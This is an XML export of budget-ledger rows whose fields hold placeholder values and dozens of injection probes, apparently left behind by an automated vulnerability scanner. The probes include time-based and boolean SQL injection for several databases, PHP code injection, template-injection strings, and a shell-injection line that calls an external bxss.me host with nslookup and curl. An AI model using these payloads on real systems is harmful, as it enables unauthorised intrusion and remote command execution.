<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=25 or 'VMwYgYVj'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${@print(md5(31337))}\</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>!(()&amp;&amp;!|*|*|</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>-1' OR 5*5=26 or 'VMwYgYVj'='</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*if(now()=sysdate(),sleep(15),0)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102hgGqDTUn' OR 443=(SELECT 443 FROM PG_SLEEP(15))--</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102����%2527%2522\'\"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>@@rBNP2</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1 OR 5*5=25 -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1nIpdNzae'; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10mHyvnzp' OR 953=(SELECT 953 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;echo rggasy$()\ afwjiu\nz^xyu||a #' &amp;echo rggasy$()\ afwjiu\nz^xyu||a #|" &amp;echo rggasy$()\ afwjiu\nz^xyu||a #</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>1BF98GE2S60</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>1SQK9LKTA0</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1HF8GACKA0</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&amp;(nslookup -q=cname hituhkgmztlznd8bed.bxss.me||curl hituhkgmztlznd8bed.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hituhkgmztlznd8bed.bxss.me||curl hituhkgmztlznd8bed.bxss.me)&amp;`'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1Z37OZPI80</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>1BG8N35KDR0</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1'"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1����%2527%2522\'\"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>'"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&lt;%={{={@{#{${dfb}}%&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>&lt;th:t="${dfb}#foreach</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>1}}"}}'}}1%&gt;"%&gt;'%&gt;&lt;%={{={@{#{${dfb}}%&gt;</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>dfb{{98991*97996}}xca</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>(select 198766*667891 from DUAL)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1' OR 5*5=26 or 'HvNNrwhU'='</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=25 or "pvVEO8Nr"="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>-1" OR 5*5=26 or "pvVEO8Nr"="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*if(now()=sysdate(),sleep(15),0)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1-1; waitfor delay '0:0:15' -- </object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
